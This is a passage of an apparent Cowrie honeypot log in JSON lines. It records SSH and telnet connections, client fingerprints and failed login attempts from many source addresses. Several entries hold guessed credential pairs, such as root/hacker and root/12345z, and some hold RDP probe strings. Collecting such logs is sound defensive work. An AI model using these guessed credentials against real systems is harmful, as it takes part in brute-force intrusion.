16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:34.158939Z","src_ip":"193.228.128.84","session":"c22c29632fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker","message":"login attempt [root/hacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:34.464646Z","src_ip":"193.228.128.84","session":"c22c29632fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:35.568048Z","src_ip":"193.228.128.84","session":"c22c29632fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f010650b7bdc","protocol":"ssh","message":"New connection: 103.153.68.219:53804 (10.17.0.5:22) [session: f010650b7bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:55.021821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:55.032789Z","src_ip":"103.153.68.219","session":"f010650b7bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:55.279328Z","src_ip":"103.153.68.219","session":"f010650b7bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temppassword","message":"login attempt [root/temppassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:56.010221Z","src_ip":"103.153.68.219","session":"f010650b7bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:44:57.255456Z","src_ip":"103.153.68.219","session":"f010650b7bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49408,"dst_ip":"159.203.135.109","dst_port":22,"session":"789aab0e5187","protocol":"ssh","message":"New connection: 103.172.78.219:49408 (159.203.135.109:22) [session: 789aab0e5187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:17.750189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:17.755268Z","src_ip":"103.172.78.219","session":"789aab0e5187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:18.010793Z","src_ip":"103.172.78.219","session":"789aab0e5187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer123","message":"login attempt [root/killer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:18.778476Z","src_ip":"103.172.78.219","session":"789aab0e5187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:20.036835Z","src_ip":"103.172.78.219","session":"789aab0e5187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.252.53.96","src_port":37856,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5817b667370","protocol":"telnet","message":"New connection: 47.252.53.96:37856 (159.203.135.109:23) [session: f5817b667370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:21.906652Z"}
{"eventid":"cowrie.session.closed","duration":30.990578651428223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:45:52.897110Z","src_ip":"47.252.53.96","session":"f5817b667370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52619,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7aca794a52","protocol":"ssh","message":"New connection: 152.42.212.128:52619 (159.203.135.109:22) [session: 0e7aca794a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:21.051791Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:21.057253Z","src_ip":"152.42.212.128","session":"0e7aca794a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:21.062378Z","src_ip":"152.42.212.128","session":"0e7aca794a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34172,"dst_ip":"10.17.0.5","dst_port":22,"session":"6564e7c0dda5","protocol":"ssh","message":"New connection: 80.94.92.184:34172 (10.17.0.5:22) [session: 6564e7c0dda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:59.721379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:59.786394Z","src_ip":"80.94.92.184","session":"6564e7c0dda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:46:59.917663Z","src_ip":"80.94.92.184","session":"6564e7c0dda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:00.624694Z","src_ip":"80.94.92.184","session":"6564e7c0dda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:01.848107Z","src_ip":"80.94.92.184","session":"6564e7c0dda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58425,"dst_ip":"159.203.135.109","dst_port":22,"session":"680dc49b542c","protocol":"ssh","message":"New connection: 167.172.81.52:58425 (159.203.135.109:22) [session: 680dc49b542c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:06.999790Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:07.007928Z","src_ip":"167.172.81.52","session":"680dc49b542c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:07.011492Z","src_ip":"167.172.81.52","session":"680dc49b542c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":48236,"dst_ip":"159.203.135.109","dst_port":22,"session":"b618d276581a","protocol":"ssh","message":"New connection: 185.236.22.41:48236 (159.203.135.109:22) [session: b618d276581a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:07.845689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:07.851187Z","src_ip":"185.236.22.41","session":"b618d276581a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:07.964270Z","src_ip":"185.236.22.41","session":"b618d276581a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345z","message":"login attempt [root/12345z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:08.305231Z","src_ip":"185.236.22.41","session":"b618d276581a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:09.423897Z","src_ip":"185.236.22.41","session":"b618d276581a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"92fbe8b3571b","protocol":"telnet","message":"New connection: 152.42.224.71:56396 (10.17.0.5:23) [session: 92fbe8b3571b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:47:41.688568Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.210","src_port":56960,"dst_ip":"10.17.0.5","dst_port":22,"session":"5749e61de321","protocol":"ssh","message":"New connection: 176.65.132.210:56960 (10.17.0.5:22) [session: 5749e61de321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:11.775250Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:11.780992Z","src_ip":"176.65.132.210","session":"5749e61de321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.210","src_port":56974,"dst_ip":"10.17.0.5","dst_port":22,"session":"40fb5da65bf9","protocol":"ssh","message":"New connection: 176.65.132.210:56974 (10.17.0.5:22) [session: 40fb5da65bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:11.942511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:11.947433Z","src_ip":"176.65.132.210","session":"40fb5da65bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:12.030353Z","src_ip":"176.65.132.210","session":"40fb5da65bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09N1RCa1Hs31","message":"login attempt [user/09N1RCa1Hs31] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:12.201320Z","src_ip":"176.65.132.210","session":"40fb5da65bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:13.287934Z","src_ip":"176.65.132.210","session":"40fb5da65bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3b8257eeaf","protocol":"ssh","message":"New connection: 109.237.96.109:42498 (10.17.0.5:22) [session: 7b3b8257eeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:14.664761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:14.670617Z","src_ip":"109.237.96.109","session":"7b3b8257eeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:14.761377Z","src_ip":"109.237.96.109","session":"7b3b8257eeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53836,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7643ec52879","protocol":"ssh","message":"New connection: 194.113.233.25:53836 (159.203.135.109:22) [session: f7643ec52879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:15.022985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:15.028082Z","src_ip":"194.113.233.25","session":"f7643ec52879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n123456","message":"login attempt [root/n123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:15.038673Z","src_ip":"109.237.96.109","session":"7b3b8257eeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:15.123669Z","src_ip":"194.113.233.25","session":"f7643ec52879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44332211","message":"login attempt [root/44332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:15.393068Z","src_ip":"194.113.233.25","session":"f7643ec52879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:48:16.130794Z","src_ip":"109.237.96.109","session":"7b3b8257eeaf","protocol":"ssh"}
